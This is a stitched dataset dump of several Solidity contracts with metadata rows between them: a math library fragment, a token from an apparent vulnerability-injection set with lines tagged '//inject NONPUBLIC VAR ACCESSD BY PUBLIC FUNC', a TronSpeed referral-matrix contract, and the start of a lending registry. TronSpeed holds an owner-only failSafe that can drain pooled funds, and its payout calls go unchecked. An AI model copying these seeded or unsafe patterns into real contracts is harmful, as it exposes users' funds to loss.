result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;
if (x & 0x8 > 0)
result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;
if (x & 0x4 > 0)
result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;
if (x & 0x2 > 0)
result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;
if (x & 0x1 > 0)
result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;
result >>= uint256 (int256 (63 - (x >> 64)));
require (result <= uint256 (int256 (MAX_64x64)));
return int128 (int256 (result));
}
}
// x in 18 decimals, y in 18 decimals
function sqrt(uint256 x) internal pure returns (uint256 y) {
x *= UONE;
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
// calculate x^y, x, y and return in 18 decimals
function exp(uint256 x, int256 y) internal pure returns (int256) {
int256 log2x = _log_2((x << 128) / UONE) * ONE >> 128;
int256 p = log2x * y / ONE;
return _exp_2(int256To128((p << 64) / ONE)) * ONE >> 64;
}
function getEverlastingTimeValue(int256 S, int256 K, int256 V, int256 T) external pure returns (int256 timeValue) {
int256 u2 = ONE * 8 * ONE / V * ONE / V * ONE / T + ONE;
int256 u = utoi(sqrt(itou(u2)));
uint256 x = itou(S * ONE / K);
if (S > K) {
timeValue = K * exp(x, (ONE - u) / 2) / u;
} else if (S == K) {
timeValue = K * ONE / u;
} else {
timeValue = K * exp(x, (ONE + u) / 2) / u;
}
}
function getEverlastingTimeValueAndDelta(int256 S, int256 K, int256 V, int256 T) external pure returns (int256 timeValue, int256 delta) {
int256 u2 = ONE * 8 * ONE / V * ONE / V * ONE / T + ONE;
int256 u = utoi(sqrt(itou(u2)));
uint256 x = itou(S * ONE / K);
if (S > K) {
timeValue = K * exp(x, (ONE - u) / 2) / u;
delta = (ONE - u) * timeValue / S / 2;
} else if (S == K) {
timeValue = K * ONE / u;
delta = 0;
} else {
timeValue = K * exp(x, (ONE + u) / 2) / u;
delta = (ONE + u) * timeValue / S / 2;
}
}
}
| 258,458 | 10,349 |
7208b8991dd22f1c2437533448143c0aca8f3bf57b98c80ae82e2b04810c81f2
| 32,074 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0xbf122cf76aeb756854a4e3ebb3aa46d167201ef8_nonpublicVarAccessdByPublicFunc.sol
| 3,536 | 13,739 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_owner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_owner = newOwner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function symbol() public view returns (string memory) {
return _symbol; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function decimals() public view returns (uint8) {
return _decimals; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function totalSupply() public view override returns (uint256) {
return _totalSupply; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract FoboToken is ERC20("FoboFomo.com", "FOBO"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 279,871 | 10,350 |
21a7b0e54c2edae3325a99c64cb76ba2dbb6e7b908cab3727713fe6b8720f284
| 22,143 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TP3dk3aEH1SanCXGMu6t47VbhzmphS7AjJ_TronSpeed.sol
| 5,639 | 21,562 |
//SourceUnit: TronSpeed (1).sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract TronSpeed {
using SafeMath for uint256;
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 15;
mapping(address => User) public users;
mapping(uint => address) public userIds;
mapping (address => mapping (uint => mapping(uint => uint))) public EarnedTrx;
mapping (address => mapping(uint => uint)) public totalEarnedTrx;
uint public lastUserId = 2;
address public owner;
bool public lockStatus;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedTrxReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraTrxDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
levelPrice[1] = 100 trx;
for (uint8 i = 2; i <= 12; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
levelPrice[13] = 358400 trx;
levelPrice[14] = 627200 trx;
levelPrice[15] = 1097600 trx;
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
modifier isLock() {
require(lockStatus == false,"Contract Locked");
_;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) isLock external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) isLock external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == levelPrice[1].mul(2), " Invalid price");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTRXDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRXDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRXDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address, uint) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function getX3TotalEarnedTrx() public view returns(uint) {
uint totalTrx;
for(uint i=1;i<=lastUserId;i++) {
totalTrx = totalTrx.add(totalEarnedTrx[userIds[i]][1]);
}
return totalTrx;
}
function getX6TotalEarnedTrx() public view returns(uint) {
uint totalTrx;
for(uint i=1;i<=lastUserId;i++) {
totalTrx = totalTrx.add(totalEarnedTrx[userIds[i]][2]);
}
return totalTrx;
}
function failSafe(address payable _toUser, uint _amount) public returns (bool) {
require(msg.sender == owner, "Not authorized");
require(_toUser != address(0), "Invalid address");
require(address(this).balance >= _amount, "Insufficient balance");
(_toUser).transfer(_amount);
return true;
}
function contractLock(bool _lockStatus) public returns(bool) {
require(msg.sender == owner, "Not authorized");
lockStatus = _lockStatus;
return true;
}
function findTrxReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTRXDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTrxReceiver(userAddress, _from, matrix, level);
if(matrix == 1) {
(bool success,) = (receiver).call.value(levelPrice[level])("");
EarnedTrx[receiver][matrix][level] = EarnedTrx[receiver][matrix][level].add(levelPrice[level]);
totalEarnedTrx[receiver][matrix] = totalEarnedTrx[receiver][matrix].add(levelPrice[level]);
}
else {
(bool success,) = (receiver).call.value(levelPrice[level])("");
EarnedTrx[receiver][matrix][level] = EarnedTrx[receiver][matrix][level].add(levelPrice[level]);
totalEarnedTrx[receiver][matrix] = totalEarnedTrx[receiver][matrix].add(levelPrice[level]);
}
if (isExtraDividends) {
emit SentExtraTrxDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 298,286 | 10,351 |
adeb299ffdcfa8921c8023387c75138dae4da8c6b606dec90e3f447c11e5378e
| 16,101 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/36/360F9ffd9a640DAbe6b6c079332B4FD239d68e07_LendingPoolAddressesProviderRegistry.sol
| 3,236 | 11,573 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
